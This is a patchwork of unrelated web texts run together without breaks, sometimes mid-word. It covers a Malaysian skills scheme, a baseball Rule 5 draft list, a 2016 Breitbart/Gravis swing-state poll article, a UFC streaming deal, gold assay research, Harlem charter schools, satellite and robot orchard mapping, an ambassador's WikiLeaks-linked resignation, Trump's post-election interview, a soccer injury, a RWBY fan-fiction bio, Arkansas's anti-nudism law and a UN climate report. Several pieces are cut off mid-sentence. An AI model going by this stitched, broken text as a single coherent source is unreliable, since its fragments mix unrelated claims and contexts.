Under this scheme, employers can apply for financial assistance in getting recognition for their employees’ skills and experiences according to the competency level of the employee in enhancing the number of skilled workers in the national labour market.
Riot also noted in the report that 3,400 Malaysians had benefited from the RPEL scheme in 2016, at a cost of RM9 million to the government.
Photo / 123RFPlayers selected in the minor league phase of the Rule 5 draft do not have to be returned to their original club.
Triple-A Phase
Astros: Ravel Santana, OF, Yankees
Marlins: Justin Bour, 1B, Cubs
White Sox: Evan Crawford, LHP, Blue Jays
Cubs: Charles Cutler, C, Pirates
Twins: Kevin Thomas, RHP, Cardinals
Blue Jays: Roberto Espinosa, RHP, Pirates
Mets: Jonathan Velasquez, RHP, Twins
Brewers: Kevin Mattison, OF, Marlins
Padres: Jacob Lemmerman, INF, Cardinals
Angels: Jose Valdivia, RHP, Mariners
Diamondbacks: Michael Lee, RHP, Braves
Orioles: Julio Borbon, OF, Cubs
Nationals: Theodis Bowe, OF, Reds
Reds: Michael O'Brien, RHP, Yankees
Rangers: Russel Wilson, INF, Rockies
Rays: Enderson Franco, RHP, Astros
Pirates: Tyler Sample, RHP, Royals
Athletics: Tim Atherton, RHP, Twins
Red Sox: Jonathan Roof, SS, Phillies
Cardinals: Greg Miclat, SS, Rangers
Astros: Carlos Vazquez, LHP, Mets
Marlins: Brady Shoemaker, OF, White Sox
White Sox: Oscar Narvaez, C, Rays
Twins: James Fuller, LHP, Mets
Blue Jays: Richard Bleier, RHP, Rangers
Brewers: Vince Catricala, 3B, Athletics
Padres: Adolfo Reina, C, Tigers
Diamondbacks: Hector Hernandez, LHP, Cardinals
Nationals: Martires Arias, RHP, Mets
Pirates: A.J. Morris, RHP, Cubs
Cardinals: Jesus Ustariz, 3B, Tigers
Marlins: Tony Thompson, 3B, Athletics
Blue Jays: Scott Shuman, RHP, Giants
Pirates: Felipe Gonzalez, RHP, Yankees
Double-A Phase
Astros: Blaine Sims, LHP, Braves
Marlins: Kelvin Castro, RHP, YankeesNEW YORK CITY, New York — Republican nominee for president Donald J. Trump has taken the lead in Colorado and maintains his lead in Ohio, two new Breitbart News Network/Gravis Marketing polls released on Sunday show. The promising polls for Trump come just before the all-important debate an hour from here on Monday night, at Hofstra University on Long Island.
In Colorado, a swing state with 9 electoral votes, Trump leads Democratic nominee Hillary Rodham Clinton by 4 points—outside the survey’s 3.5 percent margin of error. Trump, at 41 percent, leads Clinton—who has just 37 percent. Libertarian Gary Johnson takes 6 percent and Dr. Jill Stein of the Green Party takes 6 percent, and 10 percent of the voters polled are undecided. The poll, conducted from Sept. 22 to Sept. 23, surveyed 799 registered voters in Colorado.
Colorado Breitbart Gravis Poll Sept 25
“The collapse of the Never Trump movement in Colorado is consistent with Trump’s ability to consolidate Republicans behind him,” Doug Kaplan, the managing partner of Gravis Marketing—the Florida-based company that executed the poll—said. “Colorado is close between Trump and Clinton, but Clinton’s inability to lock down the state by now makes me wonder if when her campaign announced they were leaving because it was locked down–they knew then it wasn’t.”
Kaplan is referring to reports from back in July and August where Clinton’s campaign significantly reduced spending in Colorado. Since the Clinton campaign backed out of the state, at least somewhat, the trends have shifted significantly toward Trump with many recent surveys showing Trump either running even with Clinton there or overtaking her in the important battleground state.
Pat Caddell, the legendary Democratic pollster who worked for former President Jimmy Carter, told Breitbart News that this poll is a sign of an electorate very much uneasy with the direction of the country.
“I think that Colorado is not what people think it is,” Caddell said. “You’re dealing with very raw bad numbers on roughly the economy, and Hillary is now consistently being narrowed to people who think the country is on the right track which is a distinct minority and the people who think the economy is doing okay, which is also a distinct minority.”
Over in the bellwether state of Ohio, Trump also continues to run strong in the latest Breitbart/Gravis poll there.
Ohio Breitbart Gravis Poll Sept 25
Trump, at 43 percent, leads Clinton’s 42 percent—while Johnson pulls 6 percent and Stein pulls 1 percent with 8 percent undecided. That poll, also conducted Sept. 22 to Sept. 23, surveyed 850 registered voters in the Buckeye State—and has a margin of error of 3.4 percent.
“Ohio is the backbone of Republican presidential campaigns,” Kaplan said. “Romney in 2012 received fewer votes than McCain did in 2008, but gauging the intensity on the GOP side in 2016, we are going to see Trump top both of them. Trump has great support there in pockets that he is expanding. He might have won the primary if he was not playing in many states, while Governor Kasich was focused on his own.”
Caddell said these Ohio numbers, combined with the Colorado ones, means the race “seems to be moving away from personalities and who’s more competent or whatever, and much more to referendum grounds.”
“That is why Trump is closing,” Caddell said.
In both polls, what we also have in there that is undeniable is that the big thing with the border and immigration—they’re concerned about it, they don’t go so far as a total Muslim ban or a total whatever, but in generalities they’re concerned about it. What is indisputable in all of the polling we are doing now is if this refugee issue—if it becomes a voting issue, if this becomes an issue tied to terrorism—concern over terrorism in your community is very great. Let’s not underestimate that. If refugees are tied to that, the refugee numbers even among many Democrats when it comes to Hillary’s position or the president’s position on expanding refugees are quite negative.
Ohio’s 18 electoral votes are critical to either presidential candidate: Trump or Clinton.
In both states, GOP U.S. Senate candidates are leading.
Darryl Glenn, the Republican nominee for U.S. Senate in Colorado, has taken a lead over incumbent Democratic U.S. Sen. Michael Bennett. Glenn, at 45 percent, leads Bennet—at 43 percent—with 12 percent of voters unsure of for whom they will vote in the Senate race. That slight lead for Glenn is good news for an outsider candidate—and strong Trump supporter—who in other recent surveys has struggled.
With regard to Glenn’s performance in this poll, Caddell said that “there are people voting for him who do not know him—and there’s a certain sign of being dragged along.”
In Ohio, incumbent GOP Sen. Rob Portman has a sizable lead over former Democratic Gov. Ted Strickland. Portman’s 44 percent is 8 points—well outside the margin of error—better than Strickland’s 36 percent, with a high level of 20 percent of voters unsure.
A significant majority of Ohio voters—59 percent—also said they believe that the country is headed in the wrong direction, while just 23 percent said it is going in the right direction and 14 percent said it was going in neither the right or wrong direction. Four percent were unsure.
Similarly, in Colorado, 56 percent said the country is going in the wrong direction and 25 percent said it is going in the right direction while 15 percent said it was going in neither the right nor wrong direction and 4 percent were unsure.
President Barack Obama’s approval ratings in both states are dropping as well, as just 28 percent of Colorado’s voters strongly approve of the job he is doing and 16 percent somewhat approve. On the flip side, in Colorado, 45 percent strongly disapprove of the job Obama is doing as president and 7 percent somewhat disapprove—putting his disapproval rating into the majority at 52 percent total—while 4 percent were didn’t know.
In Ohio, 43 percent strongly disapproved of the job Obama is doing—and 8 percent somewhat disapproved—for a slightly smaller majority of 51 percent total disapproval of Obama’s job performance. Thirty-four percent in Ohio strongly approve of Obama’s job performance and 14 percent somewhat approve, while 1 percent were unsure.
“The other key is, the other point I want to make is, that in both of these polls, Obama’s approval rating is down,” Caddell said.
That is a major thing because both her and Trump are hinged to that. And one of the things I’ve been saying is as he crosses the fence and she drags him [Obama] into the race, if he goes down it really hurts her. That’s what’s happening. We have had the bombings, we have his reaction to that, we have the—let’s put it this way—the less than energetic response to what happened. The White House’s interesting response didn’t even charge the guy with being a member of ISIS. There’s still their willingness and resistance on that [calling radical Islamic terrorism what it is].
Both Clinton and Trump have exorbitantly high unfavorable ratings, as well, in both states.
A whopping 52 percent of Ohio voters saying they have a strongly unfavorable view of Clinton and 6 percent saying they have a somewhat unfavorable view of her. Just 25 percent in Ohio view the Democratic nominee in a strongly favorable light while 14 percent consider her somewhat favorable and 3 percent don’t know. Forty-eight percent of Ohioans surveyed view Trump as strongly unfavorable and 11 percent view him as somewhat unfavorable, while just 22 percent see him as strongly favorable and 16 percent as somewhat favorable and 3 percent didn’t know.
In Colorado, 57 percent view Hillary Clinton as strongly unfavorable and 5 percent as somewhat unfavorable—for an astounding 62 percent total unfavorable rating for her there—while just 21 percent view her as strongly favorable and 16 percent consider her somewhat favorable and 1 percent didn’t know. Fifty-three percent in Colorado, a similarly high number, consider Trump highly unfavorable and 6 percent consider him somewhat unfavorable, while only 19 percent considered him strongly favorable, 18 percent considered him somewhat favorable and 4 percent didn’t know.
On issues in both states, voters have fallen more into line with Trump’s positions on refugees than Clinton’s in the wake of recent terrorist attacks in Minnesota and New York. A solid majority in Colorado—64 percent in total—were either concerned or very concerned that a refugee or immigrant could engage in a terror like what happened in Minnesota or New York and New Jersey last week.
“Recently a Somali refugee attacked ten people in a Minnesota mall with a knife, and an Afghan immigrant was arrested for detonating bombs in New York City and New Jersey. How concerned are you a similar kind of attack could happen in your community and area?” those polled were asked.
In Colorado, 36 percent responded that they were very concerned, 28 percent said they were concerned, 19 percent said they were not very concerned, 15 percent said they were not concerned at all and 3 percent said they don’t know.
In Ohio, even more profoundly, voters were concerned. Asked the same question, 75 percent said they were either “concerned” or “very concerned”—28 percent for the former and 47 percent for the latter—while just 16 percent said they were not very concerned and 8 percent weren’t concerned at all and 2 percent were unsure.
In addition, 50 percent in Ohio said they were “very concerned” about “controlling immigration and securing the southern border” while 18 percent said they were somewhat concerned and just 21 percent were not concerned and 11 percent were uncertain. In Colorado, 42 said they were “very concerned” about “controlling immigration and securing the southern border” while 20 percent said they were somewhat concerned. A paltry 32 percent in Colorado were not concerned and 6 percent were uncertain.
When it comes to building a wall on the border, 50 percent in Colorado opposed it—and 39 percent supported it—while 10 percent were uncertain. Forty-seven percent in Ohio opposed a wall, while 41 percent supported one and 12 percent were uncertain.
Ohioans were split on a temporary ban on all Muslim migration to the United States, with 43 percent supporting it and 43 percent opposing the idea and 15 percent unsure. In Colorado, 48 percent opposed a Muslim ban while 41 percent supported one and 12 percent were unsure.
Voters in Colorado also believe, 46 percent to 41 percent with 13 percent uncertain, that illegal immigration increases crime in their communities. Similarly, Ohioans believe the same thing about their communities at a rate of 45 percent saying illegal immigration does increase crime in their communities while 40 percent say it doesn’t and 15 percent unsure.
A significant plurality, 44 percent in Ohio, said they more agree with Trump’s positions on refugees when asked this question: “Donald Trump wants to reduce the number of refugees. Hillary Clinton wants to increase the number of refugees. Are you more likely to vote for a presidential candidate because of their position on refugees?” Only 21 percent said they agreed with Clinton and 35 percent said neither. Asked the same question in Colorado, 43 percent replied Trump and just 16 percent replied Clinton—while 42 percent were uncertain.
Majorities of voters in both states want to either stop or reduce the number of refugees the nation—and their state—are bringing in. Both states were surveyed on this question: “Do you support President Obama’s plan to increase the number of refugees coming to the United States from the Middle East, Africa, and other parts of the world to 110,000 next year, up from the current level of 85,000, or do you think we should allow no refugees, fewer refugees, or the same as the current level?”
In Colorado, 32 percent replied “stop” while 25 percent said they wanted a reduction—for a total of 57 percent wanting a direction different than the one Obama and Clinton are offering—while 15 percent want the same and 28 percent want an increase. In Ohio, 35 percent said they wanted a stop entirely while 27 percent wanted a reduction—for a total of 62 percent against Obama and Clinton—while 18 percent wanted the same and just 20 percent wanted an increase.
The numbers even more profound when respondents were asked specifically about their own communities when it comes to refugees.
“Under President Obama’s plan, the number of refugees resettled in the state of Ohio is likely to increase by 30 percent, from about 4,000 this year to 5,200 next year. Do you want more, the same, fewer, or no new refugees coming into Ohio next year?” Ohioans were asked, to which 40 percent replied they wanted a halt, 21 percent said they wanted a reduction, 23 percent said they wanted the same and 17 percent wanted an increase.
“Under President Obama’s plan, the number of refugees resettled in the state of Colorado is likely to increase by 30 percent, from about 1,600 this year to 2,100 next year. Do you want more, the same, fewer, or no new refugees coming into Colorado next year?” Colorado voters were asked, to which 34 percent replied they wanted the refugees to stop entirely, 23 percent said they wanted a reduction, 16 percent said they wanted the same and 27 percent wanted an increase.Las Vegas – UFC®, the world’s premier mixed martial arts organization, today announced a new digital partnership with combat sports network FITE TV, to broadcast the global brand’s Pay-Per-View events on its streaming platform to customers throughout the United States. The partnership launches on Saturday, September 9, in conjunction with UFC® 215: JOHNSON vs. BORG, live from Rogers Place in Edmonton, Canada. Fight fans will be able to stream the highly-anticipated event live via the network’s FITE app and through its website FITE.TV. Customers who utilize this app are also able to cast all FITE programming on any television that connects to WIFI for a premium viewing experience.
“When we first launched FITE TV, our goal was to bring combat sports fans the very best events,” FITE Chief Executive Officer Kosta Jordanov explained. “The signing of this distribution deal with UFC has validated that goal and we look forward to building an amazing relationship with the sports industry leader.”
As the leading independent over-the-top combat sports service provider |
, allowing for much quicker analysis of ore samples.
"Fire assay usually involves sending samples off to a central lab and waiting several days for the results. Using GAA we can do the analysis in a matter of minutes, allowing companies to respond much more quickly to the data they're collecting."
"A compact GAA facility could even be trucked out to remote sites for rapid, on-the-spot analysis." Another advantage of GAA is that it is more sustainable – unlike fire assay it doesn't require the use of heavy metals such as lead.
It is also adaptable. "While most of the work we've done has been based on the gold industry, the technique can be modified for other valuable commodities such as silver, lead, zinc, tin, copper and the platinum group metals."
Now that the research team has proved the effectiveness of the technique, their next goal is to partner with local and international companies in order to get a full-scale analysis facility up and running in Australia. They hope to achieve this within the next two years.
The infographic below shows facts about gold.
[Images and graphics courtesy CSIRO.]LAST week, the New York State Legislature struck a deal ensuring that charter schools in New York City would have access to space, either in already crowded public school buildings or in rented spaces largely paid for by the city. Over the next few years, charters are expected to serve an increasing proportion of city students — perhaps as much as 10 percent. Which brings up the question: Is there a point at which fostering charter schools undermines traditional public schools and the children they serve?
The experience of Harlem, where nearly a quarter of students are enrolled in charter schools, suggests that the answer is yes. High-quality charters can be very effective at improving test scores and graduation rates. However, they often serve fewer poorer students and children with special needs.
In Harlem, there is a marked disparity between the special-needs populations in charter and traditional public schools, according to the city education department’s annual progress reports. In East Harlem, data for the 2012-13 school year shows that most of the public open-enrollment elementary and middle schools have double, and several have triple, the proportion of special-needs kids of nearby charter schools. At most of these public schools, at least a quarter of students have Individualized Education Programs, or I.E.P.s, which are required for children who receive special-education services.
Students with I.E.P.s also tend to leave New York City charter schools at higher rates than their general-education classmates, according to a 2014 study by the city’s Independent Budget Office. Among special-needs students enrolled in charter schools in kindergarten in 2008, 27 percent had transferred to a traditional public school by third grade; the corresponding rate for general-education students was 17 percent.An image of an avocado farm captured by the Worldview 2 satellite showing tree vigour and weather stations.
In a small lecture theatre at the CQUniversity campus in Bundaberg, Dr James Underwood is giving a presentation about his work capturing images of mango, macadamia and avocado trees.
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The researcher from the Australian Centre for Field Robotics mounted a robot called Shrimp with a range of sensors that capture 2D and 3D images, photographs, thermal readings and hyperspectral scans and sent it up the orchard rows at Simpson Farms, near Bundaberg.
The images it produced are both familiar-looking and somewhat alien; from colour photos that look like they were taken at night, to wavy streams of colour that are loosely tree-shaped and bright orange 3D projections of trees made using reflective light, or LiDAR, to show every branch.
During the presentation, Dr Underwood shows a thermal image of an avocado tree - a ghostly light-grey trunk stands out against a slightly darker background.
The audience of researchers, farmers, extension officers and agronomists take note of the dark patch at the bottom of the trunk, showing an area cooler than the rest of the tree.
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"Can we use that to identify disease?" comes a question from the audience.
Dr Underwood does not know - he is the robotics guy - perhaps an agronomist has a better idea?
Suncoast Gold Macadamia extension officer Chris Searle chimes in, suggesting some conditions would make the trunk appear hotter.
There are questions over whether the difference between natural variations in temperature (such as water availability) and pathogens could be determined?
Share The Shrimp robot used a mounted LiDAR sensor to map whole rows as it travelled around the orchard.
While the conversation bounces around the room, Dr Underwood takes notes. He wants to know what images the growers are most interested in to target the next phase of his research.
He is working as part of the National Tree Project, a $7 million multi-group study funded by the Federal Government's Rural Research and Development for Profit program and Horticulture Innovation Australia.
The idea is to give growers an unprecedented understanding of the variability of productivity and quality within their orchards, helping them make better decisions about inputs like irrigation and fertiliser.
Every crop over two hectares will be photographed from the sky, amounting to about 90,000 hectares nationwide.
The photos will then be analysed and converted into data on tree vigour, yield, pest detection and surveillance, crop forecasts and productivity.
The project is being led by University of New England associate professor Andrew Robson, an agricultural remote sensing scientist.
Professor Robson said in the past two years satellites were used to measure average fruit weight in avocados, paving the way for the larger national mapping project.
"In terms of agriculture this sort of work's been around for nearly 30 years now, so there's been a lot of crop mapping for high growth areas and low growth areas, which allow agronomists or growers to work out what's driving poor productivity or high productivity," Professor Robson said.
"It's definitely increased with the applications with technology.
"Obviously the advent of drones everywhere, we have really high resolution satellites available commercially at a cost effective price so these applications are not just high growth and low growth, it's actually looking at specific diseases and specific parameters of yield or quality."
Share The thermal image of an avocado tree that caught the eye of researchers.
Spotting pathogens from space
Dr Robson has done similar work with banana crops, where researchers were trying to identify critical conditions like Panama Tropical Race 4 using satellite imagery.
The devastating disease found in Tully, in North Queensland, in 2015 has the potential to wipe out Australia's Cavendish crop, but so far has been contained to one farm.
Biosecurity Queensland has expanded surveillance for the pathogen to nearby Lakeland, but the work carries its own risks, with the potential for well-meaning officers accidentally spreading the disease through their surveillance activities.
Panama disease first presents with a yellowing of the leaves that later dry and burn out, leaving researchers to wonder if it could be spotted not just from the ground, but from above.
But there is a lot of work to be done before that question can be answered, as yellowing leaves can also be a sign of nutritional problems or water stress, and bananas can be difficult to spot using satellites as they tend to be below rainforest canopies.
Dr Robson said despite the challenges, the technique had the potential to offer a new layer of protection for horticulture against biosecurity threats.
"In the event of an outbreak of diseases, or post disaster, they can access these (maps) and know where all the crops are and how to manage things like outbreaks," he said.
"Things like yield forecasting, identifying disease spread, poor and high nutrition across crops, quality, fruit weight, all that helps with management, harvest segregation, disease control, nutrition management, so things like that."
The method could also be used to map disasters like floods, fires and cyclones and speed up applications for recovery assistance.
It was not lost on Dr Robson that his group was meeting in Bundaberg, the scene of utter devastation from the region's worst ever floods just three years ago.
"(If) we had information on how many trees and where they were pre-flood and then again afterwards, we could definitely work out what was lost and obviously tie that in to productivity information and estimated value of lost productivity for those growers," he said.
Share The LiDAR sensor does have limitations, it can struggle to capture data from trees with dense foliage.
Innovate or stagnate
The project has generated great interest in academic circles.
Four universities are participating, along with industry groups such as the Australian Macadamia Society, the Australian Mango Industry Association and Avocados Australia.
It has also had input from Bundaberg's Simpson Farms, where many of the trials have been run, and the Queensland Department of Agriculture and Fisheries, and technology consultants AgTrix.
Horticulture Innovation Australia research and development lead Anthony Kachenko said the work represented the growing role of science and innovation in agriculture.
"This is a key example of how industry is looking at innovative blue sky research opportunities to enhance productivity on farm," Mr Kachenko said.
"This project is expected to deliver tools to enhance farm-level decision using satellite image data, novel on-ground sensors and agricultural robotics.
"The need to look at high-tech opportunities is critical for industry to compete in both the domestic and export arenas."
Share The sensors on board the Shrimp robot captured a range of images, including photos, thermal images, LiDAR pictures and hyperspectal images.
He said while it was very high-tech, the collaborative project had been embraced by growers keen to see how technology could improve productivity in fiercely competitive markets.
At the forefront of much of the research is the macadamia industry, which sees 70 per cent of its crop exported.
Chief executive officer of the Australian Macadamia Society Jolyn Burnett said the industry has long had one of the highest research and development levies as a percentage of farm gate value in the country.
"We have to be globally competitive, especially with low labour cost producers like South Africa and Kenya," Mr Burnett said.
"The industry is highly mechanised and has invested heavily in biological control and advanced orchard management.
"This means we can compete with countries where labour is a tenth the cost of Australia."
But he said labour rates were rising in developing countries too and they had the potential to catch up technologically, particularly in countries like China and Vietnam.
So the industry needed to reduce costs and lift productivity, and the National Tree Project might help.
Project, protect, reflect.
One of the key issues researchers are trying to overcome is accuracy of crop projections, which have the potential to spook markets if they are wrong.
One researcher said he had four people count the avocados on one tree.
They came back with a variance among them of up to 50 fruit on a tree with about 250 fruit - a huge margin of error when multiplied out across thousands of trees.
Share PhD candidate Sabrina Wu and Associate Professor Andrew Robson with a ground based LiDAR sensor, the expensive piece of equipment that captures the 3D images of trees.
Mr Burnett, of the macadamia society, said a more scientific, reliable method of providing crop projections was critical for price stability and market confidence.
"The market hates surprises," he said.
"Macadamias represent just one per cent of the world trade in tree nuts, so we are very susceptible to fluctuations in supply and subsequently price.
"It is essential that we give the market credible and accurate forecasts, not just for the coming crop, but for years ahead.
"This allows us to anticipate demand and develop new markets to ensure that supply and demand are as closely aligned as possible."
The macadamia industry is young, with just 40 years of research to inform its production.
Mr Burnett said if the collaborative project with the mango and avocado industry was a success, it would be a major achievement for all three industries.
"We have many challenges in common," he said.
"Large evergreen dense trees create a number of challenges in terms of maximising yield per hectare, spray coverage, managing tree vigour, canopy management, orchard floor management, etcetera.
"Growers are very good, probably better than researchers, at seeing the synergies from other crops and applying them to their own situation, however they must be able to see the direct relevance for their crop."
In 2016 the project will move into phase two which will see the footprint maps of each industry refined to provide the most bang for the expensive satellite's buck.
Researchers will also drill down to orchard level detail, and in some cases map and measure individual trees.
Associate Professor Andrew Robson said the scale of the project would help make using the data affordable for farmers.
"(For) more and more of these intensive growing regions that have a lot going on like sugar cane and horticulture, cross industry investment from the industry groups will mean that those outputs at the end would be a lot cheaper," he said.
"And definitely as I mentioned before, the technologies are getting cheaper and cheaper."
The final results are expected in 2018.Carlos Pascual, U.S. Ambassador to Mexico, has resigned after a political fallout that occurred when WikiLeaks published a cable in December 2010 in which the U.S. Embassy to Mexico was critical of the Mexican government’s efforts in the ongoing war on drugs. The cable said Mexican President Filipe Calderon “has struggled with an unwieldy and uncoordinated interagency and spiraling rates of violence that have made him vulnerable to criticism that his anti-crime strategy has failed.“
According to Reuters, Calderon was critical of the ambassador in an interview published February 22 in Mexican newspaper El Universal. Diplomatic tensions rose and Pascual resigned.
Julian Assange would see this as a victory; removing “conspirators” in control helps to dismantle the “conspiracy” of government. In many ways, he is right to see it that way. Instead of taking a cooperative approach (“Hey, we clearly aren’t doing this as well as you think, so lets work on solutions.”), President Calderon was standoffish, and the honesty of the embassy ended up hurting the relationship between the two nations.
Where honest dialogue is unwelcome, progress is impossible; as he sits on house arrest in the U.K., Assange is grinning to himself.
AdvertisementsWASHINGTON — President-elect Donald J. Trump appeared to soften some of his hardest-line campaign positions on immigration on Sunday, but he also restated his pledge to roll back abortion rights and used Twitter to lash out at his critics, leaving open the possibility that he would continue using social media in the Oval Office and radically change the way presidents speak to Americans.
In his first prime-time television interview since his upset victory on Tuesday, Mr. Trump repeated his promise to name a Supreme Court justice who opposed abortion rights and would help overturn the 1973 Roe v. Wade decision that recognized them, returning the issue to the states.
Asked where that would leave women seeking abortions, Mr. Trump, on the CBS program “60 Minutes,” said, “Well, they’ll perhaps have to go — they’ll have to go to another state.”
On immigration, he said the wall that he has been promising to build on the nation’s southern border might end up being a fence in places. But he said his priority was to deport two million to three million immigrants he characterized as dangerous or as having criminal records, a change from his original position that he would deport all of the estimated 11 million undocumented immigrants in the country. President Obama has deported more than two million undocumented immigrants during his time in office.Colorado Rapids defender Axel Sjoberg is out of full training for “two to three weeks” with a knee injury.
The Swedish center back has been in excellent form in his rookie season after being selected in the first round, No 14, of the 2015 MLS Superdraft. His nine starts have been enough for him to be nominated for the Fan Ballot for the MLS All-Star Game on July 29. However, after this latest injury, the 24-year-old is unlikely to feature until a few weeks before that game.
“Axel has an issue with his meniscus,” said Rapids head coach Pablo Mastroeni. “It happened in the game at Salt Lake. We are looking at two to three weeks until he is competing fully again. He has made some good strides in his recovery but it takes time. Still, we are optimistic.
“With these injuries straight running is OK. It is about the side-to-side movement. He started straight running on Monday so, from a fitness perspective, it should not be too long once he has healed.
“However, center back is one position where we have options and all the combinations have done well so far this season. Shane O’Neill is coming back [from international duty] and Joe Greenspan is coming into the fray for the first time. They will provide more stability for us in that position.”Age: 15
“The fact is, Mr. Ozpin, I can kill Grimm better than I can talk to a person. What does that say about me…?”
Nightmares haunt this poor child...
Nightmares that blur between simple terrors in the dark and memories buried deep within herself. They are images of the terrors her sullen eyes bore witness to so many times over. Flashes of the regrets that plague her mind. Echoes that remind her of the misfortunes she wishes she never survived through. The memories are chains that prevent the young girl from moving forward. She is weighed down by every link that binds her, unable to resist, growing weaker by the day, succumbing to the incarceration more with every waking moment. She wonders how long it will be before she's completely at their mercy.
Perhaps the real question is... when will she realize she's lost the battle long ago?
Ruby is a young girl at the mercy of the fears and insecurities that have clouded her mind after the many tragedies of her life. A loss of far too many loved ones, including her adoptive mother and father, has culminated in a fear of others; a fear of connection; a fear of growing a new family and watching them fade away right in front of her yet again. The constant night terrors and repetitious cycles of her dark memories have resulted in a crippling bout of anxiety with frequent attacks triggering without warning. Her audience to the gruesome, violent encounters that, more often than not, end with her drenched in red has turned her into a stone cold, weary-eyed young girl with a familiarity to death that is outright disturbing.
Do not be mistaken, though. She is far from happy with her current state. As she and her sister, the only family she has left, start a new life in the city of Vale, Ruby resolves herself to combating the many flaws riddling her like the many scars that tatter her skin. She is fully aware of the difficult challenge ahead of her. However, if her efforts cease the constant nightmares that keep her awake for days on end, she'll puff out her chest and take on anything thrown her way.
But, of course... things are never that simple. Remnant is not quite finished with it's trials for the young girl. New friends. New family. New enemies... Her tale is far from over. And there's no telling how it's all going to end...
This is the tale of a little red girl... And her name is Ruby.
Until Next Time...click to enlarge CAUTIOUS PROMOTION: A billboard promotes the campaign to repeal state's nude law.
Nudism is terrific, and you should try it!
That's not an editorial comment, by the way. It's written there to make a point. Specifically, if local police and prosecutors wanted to follow the letter of current Arkansas law, the author of this article is, as of the moment you read that sentence, allegedly guilty of a Class A misdemeanor punishable by a $2,500 fine and up to a year in jail. The editor and publisher of Arkansas Times as well. The crime? Under Arkansas criminal statute 5-68-204, the state's 59-year-old anti-nudism law, it is illegal for any "person, club, camp, corporation, partnership, association or organization to advocate, demonstrate, or promote nudism."
Technically, we just advocated and promoted being naked with others in social situations.
While the criminal code of any state is full of antiquated and ridiculous laws, an advocate pushing for the repeal of the state's anti-nudism statute says this one is no laughing matter. The founder of the advocacy group, which operates a website urging repeal of the law at unconstitutionalarkansas.org, says the law puts the activities of nudists in Arkansas under a constant cloud of fear, with the clause prohibiting people from advocating for or promoting nudism making people reluctant to even speak out for the repeal of the law, which he calls blatantly unconstitutional on multiple points.
The state's anti-nudism statute was written following a January 1957 arrest at a nudist camp called Wildwood Lodge, located near Forrest City. The caretaker of the lodge was taken into custody and charged with indecent exposure. The charge was later withdrawn after officers testified they'd witnessed no "indecency" at the location. The caretaker paid only a $100 fine for "possessing obscene literature." The anti-nudism law was passed by the legislature the following month.
Under the law, naked people are forbidden from congregating or gathering with anyone "as a form of social practice," with the exception of a doctor, nurse or their legally-wedded spouse." In addition to prohibiting individuals from advocating, practicing or promoting nudism, the law also makes it a Class A misdemeanor for anyone to "rent, lease, or otherwise permit his or her land, premises or buildings" to be used to advocate, demonstrate or promote nudism.
Dale is the founder of Unconstitutional Arkansas. He asked us not to use his last name, because he said his career might be jeopardized if he came out in support of nudism, but also because he worries about being prosecuted under the law if he's seen as advocating nudism. Dale said he'd been working toward getting the law repealed for three years, including paying to have two billboards at the intersection of Highway 107 and Highway 89 near Jacksonville put up to direct people to the Unconstitutional Arkansas website. Dale said he's been involved in nudism for over 30 years, and says it appeals to most people because being naked is more comfortable than wearing clothes. He said public suspicion that nudism is about sexual gratification or exhibitionism are rooted in society's body shame issues.
"It goes back to the assumption that, if you're nude, you're either taking a shower or you're having sex," he said. "In the world of naturism, that's just not an accurate assumption. You can ride a bike, you can garden, you can play volleyball, you can go swimming, you can do any normal, everyday thing [while] not wearing clothes."
Dale said he has visited nudist or "naturist" resorts overseas and in more than 10 states, including events in Texas, Missouri and Oklahoma. Most of the resorts he visited, he said, were "family friendly" and allowed parents and children to socialize naked together. He said that, to his knowledge, Arkansas is the only state that has a law specifically criminalizing the practice of nudism.
"The majority of states have laws against nudity," he said, "but it's public nudity. It's indecent-exposure type laws. A lot of those are very poorly written and, as a result, they have the unintended consequence of criminalizing naturism. They're written with the intention of controlling public nudity, but they're written in a way that can be interpreted to affect people who really aren't doing anything wrong."
Dale said that his attempts to rally other Arkansas nudists to the cause of repealing the law have been mostly unsuccessful because people are too afraid of coming out, or because they fear breaking the law and facing fines or jail time simply by speaking out against it. While he said the law has never been enforced as far as he knows, it's still a Sword of Damocles. He feels it would be found unconstitutional if it was ever tested in court, but doesn't want to be the test case. On his website, he carefully avoids anything that could be seen as advocating or promoting nudism, instead only pointing out how the law runs contrary to the U.S. Constitution.
"Some have offered [to help]," he said, "and then I ask them to do something, and nothing happens. But, again, if somebody gets involved in this, they put themselves in jeopardy. If the courts interpret this a certain way, then there goes their money. You're trying to support a family and all of a sudden, you're in jail because you expressed an opinion."
Pulaski County Chief Deputy Prosecutor John Johnson was unaware of the law banning nudism in the state until contacted for comment by Arkansas Times. He called the law crazy, stupid and vague, and said the guarantee of freedom of speech would preclude his office from ever prosecuting someone for advocating or promoting nudism, even if they wanted to waste time doing so.
"I think it would be hard to prosecute someone for saying 'nudism is great,' as promoting nudism," he said. "To me, this is a pretty vague statute. What does 'congregating' mean? More importantly, what does 'as a form of social practice' mean? I'm not sure."
As to whether his office would prosecute someone arrested for being nude with others in the privacy of their home or secluded property, Johnson said that he couldn't imagine a set of circumstances where they would charge someone under the law unless there was "some social harm" from the gathering.
"To me, it's kind of a crazy statute, written to prohibit a wide spectrum of accepted adult activity," he said. "I guess we would have to wait and see exactly what the social harm was and determine if it did, in fact, violate not just the statute but the spirit of the statute."
Johnson did say, however, that if children were present at a nudist gathering in Pulaski County, the chances that adults in attendance might be charged would go up "without question." He added, however, that the determination of whether or not charges would be brought would be based on "a fact-driven decision as to whether the purpose was for sexual gratification and whether the children were being exploited in any way."The UN expects a world 3oC warmer by 2100, even if countries cut their greenhouse gas emissions as they promised in 2015.
LONDON, 31 October 2017 – Governments should accept that we shall probably be living in a world 3oC warmer than it is today by the end of this century unless they urgently step up the speed at which they cut greenhouse gases, a United Nations assessment says.
As things stand, the UN says, even fully implementing the goals of the Paris Agreement (concluded in 2015) will deliver only one third of what is needed for the world to avoid the worst impacts of climate change.
It will make “a temperature increase of at least 3 oC by 2100 very likely” – meaning that governments need to deliver much stronger pledges when they are revised in 2020.
“Should the United States follow through with its stated intention to leave the Paris Agreement in 2020, the picture could become even bleaker,” says the assessment, in this year’s edition of the Emissions Gap report, produced by UN Environment and released ahead of next week’s UN climate change conference in the German city of Bonn.
The report says the national pledges made in the Agreement two years ago will deliver only a third of the reduction in emissions needed by 2030 to meet the climate targets which governments agreed. And it says action by the private sector and by cities and other groups below national level is not increasing fast enough to help to close the gap.
“If we invest in the right technologies, ensuring that the private sector is involved, we can still meet the promise we made to our children to protect their future. But we have to get on the case now”
